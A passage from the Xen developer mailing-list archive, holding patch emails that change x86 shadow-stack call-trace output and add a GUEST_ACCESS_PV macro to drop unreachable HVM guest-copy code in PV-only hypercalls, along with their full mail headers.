-                 * - if we're still on the main stack, we need to move the
-                 *   entire stack (up to and including the exception frame)
-                 *   up by one slot, incrementing the original SSP in the
-                 *   exception frame,
-                 * - if we're on an IST stack, we need to increment the
-                 *   original SSP.
-                 */
-                BUG_ON((ptr[0] ^ primary_shstk) >> PAGE_SHIFT);
-
-                if ( (ssp ^ primary_shstk) >> PAGE_SHIFT )
-                {
-                    /*
-                     * We're on an IST stack.  First make sure the two return
-                     * addresses actually match.  Then increment the interrupted
-                     * context's SSP.
-                     */
-                    BUG_ON(stub_ra != *(unsigned long*)ptr[0]);
-                    wrss(ptr[0] + 8, &ptr[0]);
-                    goto shstk_done;
-                }
-
-                /* Make sure the two return addresses actually match. */
-                BUG_ON(stub_ra != ptr[3]);
-
-                /* Move exception frame, updating SSP there. */
-                wrss(ptr[2], &ptr[3]); /* %cs */
-                wrss(ptr[1], &ptr[2]); /* %rip */
-                wrss(ptr[0] + 8, &ptr[1]); /* SSP */
-
-                /* Move all newer entries. */
-                while ( ptr-- != _p(ssp) )
-                    wrss(ptr[0], &ptr[1]);
-
-                /* Finally account for our own stack having shifted up. */
-                asm volatile ( "incsspd %0" :: "r" (2) );
-            }
-        }
+        /* Finally account for our own stack having shifted up. */
+        asm volatile ( "incsspd %0" :: "r" (2) );
     }
  shstk_done:
 #endif /* CONFIG_XEN_SHSTK */



From xen-devel-bounces@lists.xenproject.org Mon Jul 27 10:27:41 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 10:27:41 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371562.1619063 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woIYf-0002RN-G8; Mon, 27 Jul 2026 10:27:41 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371562.1619063; Mon, 27 Jul 2026 10:27:41 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woIYf-0002Qf-Cm; Mon, 27 Jul 2026 10:27:41 +0000
Received: by outflank-mailman (input) for mailman id 1371562;
 Mon, 27 Jul 2026 10:27:40 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woIYe-0002PL-B5
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 10:27:40 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woIYd-003N6b-O9
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 12:27:39 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a673293-bab6-0a2a0a5309dd-0a2a45059aa8-36
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 12:27:39 +0200
Received: from [209.85.128.51] (helo=mail-wm1-f51.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a67329b-4cb1-0a2a45050019-d1558033e18a-3
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 12:27:39 +0200
Received: by mail-wm1-f51.google.com with SMTP id
 5b1f17b1804b1-49554ebb87dso23340315e9.3
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 03:27:39 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-496b49a6e17sm204668195e9.13.2026.07.27.03.27.38
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 27 Jul 2026 03:27:38 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785148059; x=1785752859; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=y40rikzKdW41I0gcKC+jqL54qXX/dn+hAUR30HB1xyE=;
        b=eN1HgbjSNoKcDbMR551t7P/VdBvPAI7V6So8cCmSHKbRbC3XKdwbAU239kcKwTEHMR
         IAjKMfWNRvC5U4B0NIaOPxLj/nCfqyvWI9q4qpTA9VLE3HkxWJtE02yQQSnt+SkO7zsk
         k9+URCIfURbTCF5qh6YWYApUIE9TbcSi/MJ54flyokOSmy9xxxGvzHKAzMC1lf4mZxXB
         2hI0Hq1uHYO4tByD6livb6yYTmBpUlpiXyOGh1U/YxuY4cbuE2aheNDY9Y/RD3XtF4sx
         CbuZR58/q7MGGvuZpFYz1UsBTqG7fFXU98gvIEmxmYso9S1z5kopUMHg4THCHa4C8SOm
         0Ckw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785148059; x=1785752859;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=y40rikzKdW41I0gcKC+jqL54qXX/dn+hAUR30HB1xyE=;
        b=W3SGXKiFqyzCdyQvYZqACNyMI3zv8/wLqgtogactHW6IO7DaPGXHU+1qs95anKBpvk
         L9ZfWzvcaMkKiRI9Lsong81D2kwbhphd7DpyqyYvYCVvsjNfzBr9ZMCNP1Ci181U/Q7V
         JUNv9OKhbd9aAg1WbxnSZRO7W/RPZ+Huos+msi6G7JZl9ydeye2uMT3x1IKwXAHeLADx
         VDBk7BM33Qr6zha2vDUWAku9oeF2fx36QdbWaei5uq67LMkMKzYozwYfG9KXdJSbNgLq
         zbUz53A28BWhbKvKr5qTTp21GnQaxcPgg/eeG+tLmV6Wp42404xnGzyzlT6yq8PviDG8
         Ca8g==
X-Gm-Message-State: AOJu0YyrN1RTlc45W18AEnaLWlM0bXA/SDq2+oi32WTp47LFNuMvEtzA
	v2ZLh0xhw0otFFydYHWtrvtNh43uCSyyhEMaAn0wpwNvV7Usah2RMeLCmFaWrYpUeFrdqkrL169
	7ybW3fg==
X-Gm-Gg: AR+sD11NaT/kSG4+eoj648xaaSYTmcvWrmZTBhYRUUfNqOhluLuam567zwkQjizJ43S
	TRcxiTmwEvih5C6DmpgBue4/QUF2uKMu6jUzHTqPLHPlVuho1FbYp90UAOU9N/9FqxWQfQI71kl
	wVUozRLQYgK3+lzH2HWd38J4oYlz2WNX6Ig8VDLNd4tKOSOx7kd7vWv95W62Kl4mJvvdTDgrE/i
	3jJsFXiW0i2Hhm/nJCLpyslLCT1xEGmafSvklCzESUT1jlLBy9u44ymGEn0dLLrq/+xZN9uPz9Z
	KZmSTBJaNVEJMbGENh1CIjHn4fQmLgSFysJF4dP62aHcyiUY+6UjMzGC8gSWTCgT3dvv5FxhGk2
	MxuHE6kLrrzPwvwGygayyzzNhGZq4NDcMdH5rgWOaAkxHpFqRzg7TPeDfHUPmnmB7mNXf9bfa6s
	pofw9XgL8VkACCiThRBuk7kukOgxFfyJ0jXhJRFcQ6WqPqpBbNFtpJcJ/OWdsSedzfMA==
X-Received: by 2002:a05:600c:1986:b0:496:c249:ddb7 with SMTP id 5b1f17b1804b1-496c249dfaemr12725075e9.6.1785148059174;
        Mon, 27 Jul 2026 03:27:39 -0700 (PDT)
Message-ID: <b0753d91-5519-4ca8-8251-99e08392ea07@suse.com>
Date: Mon, 27 Jul 2026 12:27:38 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH v4 4/4] x86: prefer shadow stack for producing call traces
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger@xenproject.org>
References: <f6dd91c2-f43a-4c9a-89f3-a42c8b954959@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x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g5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <f6dd91c2-f43a-4c9a-89f3-a42c8b954959@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c201ff/1785148059-F7CB82A1-D626C62C/0/0
X-purgate-type: clean
X-purgate-size: 4605

Shadow stacks contain little more than return addresses, and they in
particular allow precise call traces also with FRAME_POINTER=n:

(XEN) Xen call trace:
(XEN)    [<ffff82d04032d730>] R extable.c#search_one_extable+0x70/0x73
(XEN)    [<ffff82d04032d802>] C search_exception_table+0xc2/0x177
(XEN)    [<ffff82d040358378>] C traps.c#extable_fixup.isra.0+0x18/0x6c
(XEN)    [<ffff82d040358e3b>] C do_invalid_op+0xab/0x106
(XEN)    [<ffff82d040201d98>] C x86_64/entry.S#handle_exception_saved+0x88/0xf4
(XEN)    [<ffff82d07fffe044>] E ffff82d07fffe044
(XEN)    [<ffff82d040412db0>] C stub_selftest+0xd0/0x168
(XEN)    [<ffff82d0403508d6>] C setup.c#init_done+0x116/0x15a

as opposed to this counterpart (earlier during the same boot, before CET
is enabled):

(XEN) Xen call trace:
(XEN)    [<ffff82d04032d730>] R extable.c#search_one_extable+0x70/0x73
(XEN)    [<ffff82d04032d802>] S search_exception_table+0xc2/0x177
(XEN)    [<ffff82d040358378>] S traps.c#extable_fixup.isra.0+0x18/0x6c
(XEN)    [<ffff82d040358e3b>] S do_invalid_op+0xab/0x106
(XEN)    [<ffff82d040201d98>] S x86_64/entry.S#handle_exception_saved+0x88/0xf4
(XEN)    [<ffff82d040412db0>] S stub_selftest+0xd0/0x168
(XEN)    [<ffff82d0403d0cc9>] S do_initcalls+0x29/0x38
(XEN)    [<ffff82d04041adf2>] S __start_xen+0x1c72/0x2235
(XEN)    [<ffff82d040288a57>] S __high_start+0xb7/0xc0

(note the entirely missing entry for the stub itself [1]; sadly there are
no stray entries there).

[1] Arguably we could teach FRAME_POINTER=n traces to recognize stubs as
    well. But not FRAME_POINTER=y ones. In fact, what's missing there
    isn't the stub itself, but (of course) its immediate caller.

Signed-off-by: Jan Beulich <jbeulich@suse.com>
---
While the 'E' for exception frames is probably okay, I'm not overly
happy with the 'C' (for CET). I would have preferred 'S' (for shadow),
but we use that character already.

As an alternative to suppressing output for the top level exception
frame, adding the new code ahead of the 'R' output line (and then also
ahead of the stack top read) could be considered.

Quite likely a number of other uses of is_active_kernel_text() also want
amending with in_stub().
---
v3: Correct "link to other shadow stack" check. Don't log a line for the
    (impossible) PV case. Add example stack trace to description.
v2: IS_ENABLED() -> #ifdef. Re-base.

--- a/xen/arch/x86/traps.c
+++ b/xen/arch/x86/traps.c
@@ -48,6 +48,7 @@
 #include <asm/shared.h>
 #include <asm/shstk.h>
 #include <asm/smp.h>
+#include <asm/stubs.h>
 #include <asm/system.h>
 #include <asm/traps.h>
 #include <asm/uaccess.h>
@@ -705,6 +706,13 @@ unsigned long get_stack_dump_bottom(unsi
     }
 }
 
+#ifdef CONFIG_XEN_SHSTK
+static bool in_stub(unsigned long addr)
+{
+    return !((this_cpu(stubs.addr) ^ addr) >> STUB_BUF_SHIFT);
+}
+#endif
+
 #if !defined(CONFIG_FRAME_POINTER)
 
 /*
@@ -797,6 +805,49 @@ static void show_trace(const struct cpu_
          !is_active_kernel_text(tos) )
         printk("   [<%p>] R %pS\n", _p(regs->rip), _p(regs->rip));
 
+#ifdef CONFIG_XEN_SHSTK
+    if ( rdssp() != SSP_NO_SHSTK )
+    {
+        const unsigned long *ptr = _p(regs->entry_ssp);
+        unsigned int n;
+
+        for ( n = 0; (unsigned long)ptr & (PAGE_SIZE - sizeof(*ptr)); ++n )
+        {
+            unsigned long val = *ptr;
+
+            if ( is_active_kernel_text(val) || in_stub(val) )
+            {
+                /* Normal return address entry.  */
+                printk("   [<%p>] C %pS\n", _p(val), _p(val));
+                ++ptr;
+            }
+            else if ( !((val ^ (unsigned long)ptr) >>
+                        (PAGE_SHIFT + STACK_ORDER)) )
+            {
+                if ( val & (sizeof(val) - 1) )
+                {
+                    /* Most likely a supervisor token. */
+                    break;
+                }
+
+                /*
+                 * Ought to be a hypervisor interruption frame.  But don't
+                 * (re)log the current frame's %rip.
+                 */
+                if ( n || ptr[1] != regs->rip )
+                    printk("   [<%p>] E %pS\n", _p(ptr[1]), _p(ptr[1]));
+                ptr = _p(val);
+            }
+            else /* Bogus. */
+                break;
+        }
+
+        /* Fall back to legacy stack trace if nothing was logged at all. */
+        if ( n )
+            return;
+    }
+#endif /* CONFIG_XEN_SHSTK */
+
     if ( fault )
     {
         printk("   [Fault on access]\n");



From xen-devel-bounces@lists.xenproject.org Mon Jul 27 10:29:39 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 10:29:39 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371573.1619073 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woIaX-0003B5-R6; Mon, 27 Jul 2026 10:29:37 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371573.1619073; Mon, 27 Jul 2026 10:29:37 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woIaX-0003Ay-OA; Mon, 27 Jul 2026 10:29:37 +0000
Received: by outflank-mailman (input) for mailman id 1371573;
 Mon, 27 Jul 2026 10:29:37 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woIaW-0003As-Vl
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 10:29:37 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woIaW-0016nf-Bk
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 12:29:36 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6732f7-e002-0a2a0a5209dd-0a2a450bbaa6-48
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 12:29:36 +0200
Received: from [209.85.128.51] (helo=mail-wm1-f51.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a673310-b7e8-0a2a450b0019-d1558033c002-3
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 12:29:36 +0200
Received: by mail-wm1-f51.google.com with SMTP id
 5b1f17b1804b1-49555a0e68bso12542915e9.2
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 03:29:36 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-496b4f30126sm211724845e9.13.2026.07.27.03.29.34
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 27 Jul 2026 03:29:35 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:Autocrypt:Content-Language:Cc:To:Subject:From:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785148176; x=1785752976; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:autocrypt:content-language
         :cc:to:subject:from:user-agent:mime-version:date:message-id:from:to
         :cc:subject:date:message-id:reply-to:content-type;
        bh=vXZrrvznAleh7c2VaqwSltJKFwyZgtr0U+NrASsBteY=;
        b=IqzcAGw0LeJtXAqPmsv2SPULBlXyD26G0ZRgf50xMYyZjyI7ehvbHf+IDgqJPdQOfG
         ybmNmmOvhUg+JblYJGET2NLQF6hcc4tcjfxXvlluA/zBIxROET03FFesiOZeq2nEqzs6
         AVs0nqhLOmGsrbTrFdk7Q3gnI2Igumg/bzMK8kpNq9HH6ySllJ8stbbcsLf9ouRC4t5H
         UN7iLBimqiHpEdHZxMo+1l9aWU+BKjk+9hSUD1X3oHEXMPV+ZPewgqNgxKkcW2WNfjuN
         k1pDzRqqCZkjtsAYVdPRawFN+Y4tfDo8BxXzicM/IcbZPzMbXjDw01n/+Eld8Wz7BypU
         Ftwg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785148176; x=1785752976;
        h=content-transfer-encoding:content-type:autocrypt:content-language
         :cc:to:subject:from:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=vXZrrvznAleh7c2VaqwSltJKFwyZgtr0U+NrASsBteY=;
        b=tAZ/oTicNnZ2jgr1pWNB0WJJ99H9KOx65EPBMASNjF22NTlYHr/MnK8u2d2bCh1C3P
         cNooTeshLvey2eHYbSz+l4KHS7k/OBKgbHCWS6G5ybu61hk06tLlHfQGtBUrgHIWG5Yf
         qNcmZUf92uB6eCgaLNkJGGmTOr+YYGX3hG/x7iIIJI3AQ+PqObOzhEo1iSsnweasYJMT
         NIiSQK4wyKMaShV7vqdU2meoomIXowVG/qFL0iK6vo9da+gkqF11oLl+04/vIGSsSl4N
         h3kFEbqIvO1TmGPPE0u6Mhzx+DWD6A5EjoA5a6aHNSkU3mI7o6xPqCAFC5BE7rJiZiyu
         Mf2w==
X-Gm-Message-State: AOJu0YxSltBa5XDu9ciVcivONqlG9h+yof1XB0IjQl+IPhby3x3wUI6o
	ZxHsJS9aDUmVcd8KXQtThPPrijXbiAcSX2dDPumQzIXeCksyUUwV9orl+xSoRw38nZpM1KM80NK
	ccybWZQ==
X-Gm-Gg: AR+sD10pap7u8VgGaViB9h/Sc/NCGRWwQhPHzEKFOBCnhie1iTpzJPKLQEApCbtfb6X
	gDsLGb6Je6y6cCoIHafkKHc7dZBZyFHi4DlHMCQSKMYRRrDYzxVBt4BGIzIbK94onPHNPFqeov6
	zOOdsfAq0AFfLR4ZcuzkPJODM/zudlsXxSbdwBSKBiTwx/v3uHYtOFghtySn5Se+eYRy9f/AcM3
	hlWbT8PUs98lfmfFbHx/KW1CE5OVdJCtuZY10b+7H8f1pwAp0l9a/MbkDxaENpfNXVgbCKBj/Ef
	GgIEm0RiggF3H94prasIKmK0SbOeluc1essL/EkiIJ7PTlnAK5dTVb4RtZn8yQQPIwuinVKF2yw
	fmpvEigIS0+sDckpui8Is6QwjUt9uOAW7BHHnAFmUGEhEdCWfKi+XzDxhLG7Zq5GSrh/fRxwrIN
	maRtBWTIa24NDVZQVdH2LH+Cwe6xBGGOjc4C8hnOLPrzKvUylBrzzUbTyEz8E/ghLpwQ==
X-Received: by 2002:a05:600c:35d6:b0:496:bbce:fd with SMTP id 5b1f17b1804b1-496bc0500bemr71406525e9.6.1785148175775;
        Mon, 27 Jul 2026 03:29:35 -0700 (PDT)
Message-ID: <e4ec42aa-91c8-4102-84f9-844cecbe2eb0@suse.com>
Date: Mon, 27 Jul 2026 12:29:34 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
From: Jan Beulich <jbeulich@suse.com>
Subject: [PATCH v2] x86/PV: avoid HVM-copying alternatives in PV-only code
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Teddy Astie <teddy.astie@vates.tech>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSm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DC9EA-EFA468EA/0/0
X-purgate-type: clean
X-purgate-size: 5001

x86/PV: avoid HVM-copying alternatives in PV-only code

raw_copy_*_guest*() expanding to both a HVM and a PV alternative leaves a
lot of unreachable code, violating Misra C:2012 rule 2.1 (without Eclair
being able to spot this). Introduce a mechanism to avoid that in handling
of PV-only hypercalls (i.e. ones which only PV domains can issue and which
only act on PV domains [or which are not domain related]).

Signed-off-by: Jan Beulich <jbeulich@suse.com>
---
In my default test build this reduces overall code size by almost 2k, and
that's with PV_SHIM=n.

RFC: The HVM-only enabling is just in case; right now it doesn't look as
     if that would actually be usable anywhere.

Overriding is_hvm_vcpu() (and/or is_hvm_domain()) of course has yet better
effects, which pv/shim.c shows particularly well. Yet Misra won't like us
doing so.
---
v2: Rename manifest constants. Also change raw_clear_guest(). Drop kexec
    change.

--- a/xen/arch/x86/compat.c
+++ b/xen/arch/x86/compat.c
@@ -5,6 +5,8 @@
  * hypercall after doing necessary argument munging.
  */
 
+#define GUEST_ACCESS_PV true
+
 #include <xen/guest_access.h>
 #include <xen/hypercall.h>
 #include <xen/trace.h>
--- a/xen/arch/x86/cpu/mcheck/mce.c
+++ b/xen/arch/x86/cpu/mcheck/mce.c
@@ -1262,6 +1262,8 @@ static void cf_check __maybe_unused x86_
 
 #ifdef CONFIG_PV /* do_mca() hypercall is PV-only */
 
+#define GUEST_ACCESS_PV true
+
 #if BITS_PER_LONG == 64
 
 /* Two layers of casting to cover Misra C:2012 rule 11.2. */
@@ -1666,6 +1668,8 @@ long do_mca(XEN_GUEST_HANDLE_PARAM(xen_m
     return ret;
 }
 
+#undef GUEST_ACCESS_PV
+
 #endif /* CONFIG_PV */
 
 static int mcinfo_dumped;
--- a/xen/arch/x86/include/asm/guest_access.h
+++ b/xen/arch/x86/include/asm/guest_access.h
@@ -12,25 +12,30 @@
 #include <asm/hvm/support.h>
 #include <asm/hvm/guest_access.h>
 
+#define IS_HVM_ACCESS                           \
+    (IS_ENABLED(GUEST_ACCESS_HVM) ||            \
+     (!IS_ENABLED(GUEST_ACCESS_PV) &&           \
+      is_hvm_vcpu(current)))                    \
+
 /* Raw access functions: no type checking. */
 #define raw_copy_to_guest(dst, src, len)        \
-    (is_hvm_vcpu(current) ?                     \
+    (IS_HVM_ACCESS ?                            \
      copy_to_user_hvm((dst), (src), (len)) :    \
      copy_to_guest_pv(dst, src, len))
 #define raw_copy_from_guest(dst, src, len)      \
-    (is_hvm_vcpu(current) ?                     \
+    (IS_HVM_ACCESS ?                            \
      copy_from_user_hvm((dst), (src), (len)) :  \
      copy_from_guest_pv(dst, src, len))
 #define raw_clear_guest(dst,  len)              \
-    (is_hvm_vcpu(current) ?                     \
+    (IS_HVM_ACCESS ?                            \
      clear_user_hvm((dst), (len)) :             \
      clear_guest_pv(dst, len))
 #define __raw_copy_to_guest(dst, src, len)      \
-    (is_hvm_vcpu(current) ?                     \
+    (IS_HVM_ACCESS ?                            \
      copy_to_user_hvm((dst), (src), (len)) :    \
      __copy_to_guest_pv(dst, src, len))
 #define __raw_copy_from_guest(dst, src, len)    \
-    (is_hvm_vcpu(current) ?                     \
+    (IS_HVM_ACCESS ?                            \
      copy_from_user_hvm((dst), (src), (len)) :  \
      __copy_from_guest_pv(dst, src, len))
 
--- a/xen/arch/x86/mm.c
+++ b/xen/arch/x86/mm.c
@@ -3407,6 +3407,9 @@ int new_guest_cr3(mfn_t mfn)
 #endif
 
 #ifdef CONFIG_PV
+
+#define GUEST_ACCESS_PV true
+
 static int vcpumask_to_pcpumask(
     struct domain *d, XEN_GUEST_HANDLE_PARAM(const_void) bmap, cpumask_t *pmask)
 {
@@ -3447,6 +3450,8 @@ static int vcpumask_to_pcpumask(
     }
 }
 
+#undef GUEST_ACCESS_PV
+
 long do_mmuext_op(
     XEN_GUEST_HANDLE_PARAM(mmuext_op_t) uops,
     unsigned int count,
@@ -3983,6 +3988,8 @@ long do_mmuext_op(
     return rc;
 }
 
+#define GUEST_ACCESS_PV true
+
 long do_mmu_update(
     XEN_GUEST_HANDLE_PARAM(mmu_update_t) ureqs,
     unsigned int count,
@@ -4361,6 +4368,9 @@ long do_mmu_update(
 
     return rc;
 }
+
+#undef GUEST_ACCESS_PV
+
 #endif /* CONFIG_PV */
 
 /*
--- a/xen/arch/x86/pv/callback.c
+++ b/xen/arch/x86/pv/callback.c
@@ -5,6 +5,8 @@
  * hypercall handles and helper functions for guest callback
  */
 
+#define GUEST_ACCESS_PV true
+
 #include <xen/event.h>
 #include <xen/hypercall.h>
 #include <xen/guest_access.h>
--- a/xen/arch/x86/pv/descriptor-tables.c
+++ b/xen/arch/x86/pv/descriptor-tables.c
@@ -8,6 +8,8 @@
  * Copyright (c) 2004 Christian Limpach
  */
 
+#define GUEST_ACCESS_PV true
+
 #include <xen/guest_access.h>
 #include <xen/hypercall.h>
 
--- a/xen/arch/x86/pv/shim.c
+++ b/xen/arch/x86/pv/shim.c
@@ -6,6 +6,9 @@
  *
  * Copyright (c) 2017 Citrix Systems Ltd.
  */
+
+#define GUEST_ACCESS_PV true
+
 #include <xen/event.h>
 #include <xen/guest_access.h>
 #include <xen/hypercall.h>



From xen-devel-bounces@lists.xenproject.org Mon Jul 27 10:51:04 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 10:51:04 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371589.1619082 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woIvB-0007XN-Hx; Mon, 27 Jul 2026 10:50:57 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371589.1619082; Mon, 27 Jul 2026 10:50:57 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
